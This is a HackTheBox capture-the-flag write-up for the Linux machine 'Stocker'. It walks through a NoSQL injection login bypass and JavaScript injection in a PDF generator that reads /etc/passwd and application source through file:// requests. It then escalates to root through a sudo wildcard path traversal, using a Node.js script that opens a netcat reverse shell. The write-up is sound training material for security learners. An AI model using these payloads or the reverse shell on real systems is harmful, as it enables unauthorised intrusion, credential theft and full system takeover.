Post

HackTheBox | Stocker

Writeup of an easy-rated Linux machine from HackTheBox


Stocker is a vulnerable machine from HackTheBox, which focuses primarly on Web exploitation to get initial foothold and then exploiting a misconfigured sudo to fully compromise the machine and get root.

Enumeration


Scanning

Let’s start the enumeration process by scanning the target machine with Nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@kali# nmap -sC -sV -A -T4 -p- 10.10.11.196 
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 3d12971d86bc161683608f4f06e6d54e (RSA)
|   256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_  256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-generator: Eleventy v2.0.0
|_http-title: Stock - Coming Soon!
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 443/tcp)
HOP RTT       ADDRESS
1   168.97 ms 10.10.14.1
2   162.62 ms stocker.htb (10.10.11.196)

As you can see, the target machine has 2 open ports:

  • An SSH service (version OpenSSH 8.2p1) running on its default port 22.
  • An HTTP server nginx 1.18.0 is running on port 80
  • Navigating to http://10.10.11.196 redirects to http://stocker.htb, so let’s add stocker.htb domain name to our /etc/hosts file.
    1
    
    root@kali# echo '10.10.11.196 stocker.htb' >> /etc/hosts
    
stocker.htb

Service Enumeration

First things first, let’s enumerate directories using ffuf to check if there are some hidden directories

1
2
3
4
5
6
7
root@kali# ffuf -u http://stocker.htb/FUZZ -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -e .js,.html,.txt

index.html              [Status: 200, Size: 15463, Words: 4199, Lines: 322, Duration: 1370ms]
img                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 427ms]
css                     [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 413ms]
js                      [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 442ms]
font                    [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 442ms]
  • Nothing really interesting here, just some html and css files.

Let’s then try to enumerate virtual hosts:

1
2
3
root@kali# gobuster vhost -u http://stocker.htb -w /usr/share/wordlists/SecLists-master/Discovery/DNS/subdomains-top1million-5000.txt -t 64

Found: dev.stocker.htb (Status: 302) [Size: 28]
  • And we found an interesting virtual host, dev.stocker.htb.

Enumerating stocker.htb

📍 Server version:

  • nginx/1.18.0 (Ubuntu) - Vulnerable - CVE-2020-12440
  • This version allows an HTTP request smuggling attack that can lead to cache poisoning, credential hijacking, or security bypass.

📍 Potential username:

  • we have the full name of stocker’s head of IT.
  • We can use for example a tool like namemash to generate possible usernames out of the full name.
stocker's Head of IT

Enumerating dev.stocker.htb

First of all, let’s add dev.stocker.htb to /etc/hosts using the following one-line command:

1
root@kali# echo '10.10.11.196 dev.stocker.htb' >> /etc/hosts

Navigation to http://dev.stocker.htb redirects to the login page http://dev.stocker.htb/login

http://dev.stocker.htb/login

When dealing with login pages, the first thing that comes to mind is to find a way to bypass authentication using, for example, SQL injection, or default credentials, or password brute forcing of a known username etc …
Let’s go through this list and test each and every bypass technique.

🔎 Testing Checklist:

  • Default credentials like admin:admin or admin:password does not bypass authentication.
  • We don’t have a valid username, which means we can’t use password brute forcing technique.
  • The Web application does not seem to be vulnerable to SQL Injection
Testing SQL Injection

If you take a closer look at the server’s response, there is a header called X-Powered-By and set to Express, which is a NodeJS app that is often built with MongoDB backend.
This information tells us that a NoSQL database is used in the backend, which means we can test for NoSQL injection vulnerabilities and try to bypass authentication.

Exploitation

Exploiting NoSQL Injection

📍 Detection:

  • X-Powered-By header has Express
Testing SQL Injection
  • Content-Type header has application/x-www-form-urlencoded and changing it to application/json still allows the POST requests with JSON POST data:
Sending JSON data

📍 Exploitation:

  1. Intercept the POST request with Burp proxy
  2. Change the Content-Type header to application/json in order to be able to send JSON data
  3. Send the following payload as POST data: s
    1
    
    {"username": {"$ne": null}, "password": {"$ne": null}}
    
  4. You will be redirected to http://dev.stocker.htb/stock
Sending JSON data

📍 Username Enumeration:
Exploiting this vulnerability, We can enumerate usernames using Burp Intruder following the below steps:
1- Intercept the POST request with Burp proxy
2- Change the Content-Type header to application/json in order to be able to send JSON data
3- Send the intercepted request to Intruder
4- Set the username field as a payload position

Burp Intruder

5- Load a usernames wordlist of your choice
6- Start the attack

Username Enumeration with Intuder
  • As you can see, we found a valid username: angoose

📍 Password Bruteforcing:
Now, since we found a valid username, we can try to brute force his password for the login page using Hydra, because it might the same password to access other services like SSH, but unfortunately, the password is probably strong and does not exist in the classical rockyou.txt wordlist.

Exploiting HTML & JS Injection Vulnerabilities

📍 Detection

When a user adds an item to the basket and submit purshase, an API call sends information about the purshased item to the server, which will then gets rendered into a PDF file where the user can view the purshase order in detail.

API call
Generated PDF
  • As you can see, the name of the purshased item is rendered in the PDF, which can be vulnerable in many cases to HTML Injection, JS Injection, server-side XSS, leading to exfiltration of data from the vulnerable application.

Let’s see if the application is actually vulnerable to HTML Injection first, by injecting a basic HTML code in the title parameter:
1- Add an item to basket and click on View Cart
2- Intercept the Submit Purchase request with Burp proxy
3- Inject the title parameter with the following HTML code and then forward the request:

1
<b>Hello </b><i>World!</i>
Injecting HTML tags

4- Click on here to view the order in a pdf file

Viewing PDF

5- HTML tags were parsed on the backend and included in the file.

Successful HTML injection
  • As you can see, the injected HTML tags were parsed successfully on the backend and got the results on the PDF file.

📍 Escalating the attack:
We can escalate this attack by reading some internal sensitive files like ~/.ssh/id_rsa, ~/.bash_history, /etc/passwd or /etc/shadow (If the application is running with elevated privileges), but before that, we need to identify the file protocol the application is using to figure how we can read the internal files on the server.

  • Let’s inject the title parameter with the following payload, which will print out the full URL of the current page:
    1
    
    <script>document.write(document.location.href)</script>
    
JS Injection
Protocol in use


As you can see, the application uses the file:// protocol, which means we can retrieve the content of internal files using XHR requests.

We also now have the path to the source code of the application which is /var/www/dev

  • Let’s retrieve the content of /etc/passwd file, by injecting the title parameter with the following JavaScript payload:
    1
    
    <script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open('GET','file:///etc/passwd');x.send();</script>
    
  • I tried retrieving ssh private key /home/angoose/.ssh/id_rsa but failed, probably because .ssh folder doesn’t even exist in /home/angoose directory.

📝 Note: We can also use the iframe tag to retrieve content and read sensitive files using the following payload:

1
<iframe src=file:///etc/os-release height=1000px width=800px</iframe>
/etc/os-release


📍 Hardcoded credentials:
Since we could not retrieve ssh private key of angoose user, it’s always a good idea to retrieve the content of the source code of the application, because it might contains some hardcoded credentials that we can potentially use to access other services.
So far, we know the full path to the application source code, which is /var/www/dev, and we know that Node.JS is used on the backend, which means the source code file is probably going to be index.js or app.js or server.js or main.js …

  • After trying each an every filename, index.js is the file that worked for me and contains the source code of the application.
    1
    
    <script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open('GET','file:///var/www/dev/index.js');x.send();</script>
    
Sending the payload
/var/www/dev/index.js

The source code is hard to read, so let’s beautify it using https://beautifier.io/

/var/www/dev/index.js file (beautified using https://beautifier.io/)
  • As you can see, there is a connection string fo MongoDB database in line 17:
    1
    
    dbURI ="mongodb://dev:[REDACTED]@localhost/dev?authSource=admin&w=1"
    

    mongodb:// indicates that the connection is being made to a MongoDB database.
    dev:[REDACTED] specifies the username (dev) and password (REDACTED) to use when connecting to the database.

  • Now that we have a password, why not try it to ssh into the server as the user angoose

Initial Access

SSH Access

1
2
3
4
5
6
7
angoose@stocker:~$ ssh angoose@10.10.11.196
angoose@10.10.11.196's password: [REDACTED]
Last login: Fri Mar 10 15:44:52 2023 from 10.10.16.12
angoose@stocker:~$ id
uid=1001(angoose) gid=1001(angoose) groups=1001(angoose)
angoose@stocker:~$ whoami
angoose

📍 user.txt:

/home/angoose/user.txt

Privilege Escalation

Enumeration

The first thing to do when it comes to privilege escalation enumeration is to run the sudo -l command, which will list the commands/permissions that our user is allowed to execute as a superuser (root) or other privileged user.

1
2
3
4
5
6
7
angoose@stocker:~$ sudo -l
[sudo] password for angoose: 
Matching Defaults entries for angoose on stocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User angoose may run the following commands on stocker:
    (ALL) /usr/bin/node /usr/local/scripts/*.js
  • As you can see angoose can execute the following command as root:
    1
    
    /usr/bin/node /usr/local/scripts/*.js
    

    📝 Note: The directory /usr/local/scripts is writable only by root, which means we cannot create a malicious JavaScript file in /usr/local/scripts that will grant us a root shell when we run it with root privileges.

Exploiting Misconfigured SUDO

With a wildcard * being used, we can use a sequence of dot-dot-slashes to iterate through any JavaScript file and execute it with root privileges.
Let’s create a JavaScript file in /home/angoose directory, which will run the id command:

1
2
3
4
5
6
7
8
9
10
const { exec } = require('child_process');

exec('id', (error, stdout, stderr) => {
  if (error) {
    console.error(`exec error: ${error}`);
    return;
  }
  console.log(`stdout: ${stdout}`);
  console.error(`stderr: ${stderr}`);
});
Executing id
  • As you can see, we can execute commands of our choice with root privileges.

Let’s try to get a proper root shell following the below steps:

1- Create a JavaScript file (let’s call it root.js) that contains the following JS code:

1
2
3
4
5
6
7
8
9
10
const { exec } = require('child_process');

exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc <Your_tun0_IP> 9999 >/tmp/f', (error, stdout, stderr) => {
  if (error) {
    console.error(`exec error: ${error}`);
    return;
  }
  console.log(`stdout: ${stdout}`);
  console.error(`stderr: ${stderr}`);
});
Reverse Shell script

2- Start a netcat listener on port 9999 on your attacking machine:

1
root@kali # nc -nlvp 9999

3- Run the JavaScript file with root privileges:

1
angoose@stocker:~$ sudo /usr/bin/node /usr/local/scripts/../../../home/angoose/root.js

📍 root.txt:

root.txt
This post is licensed under CC BY 4.0 by the author.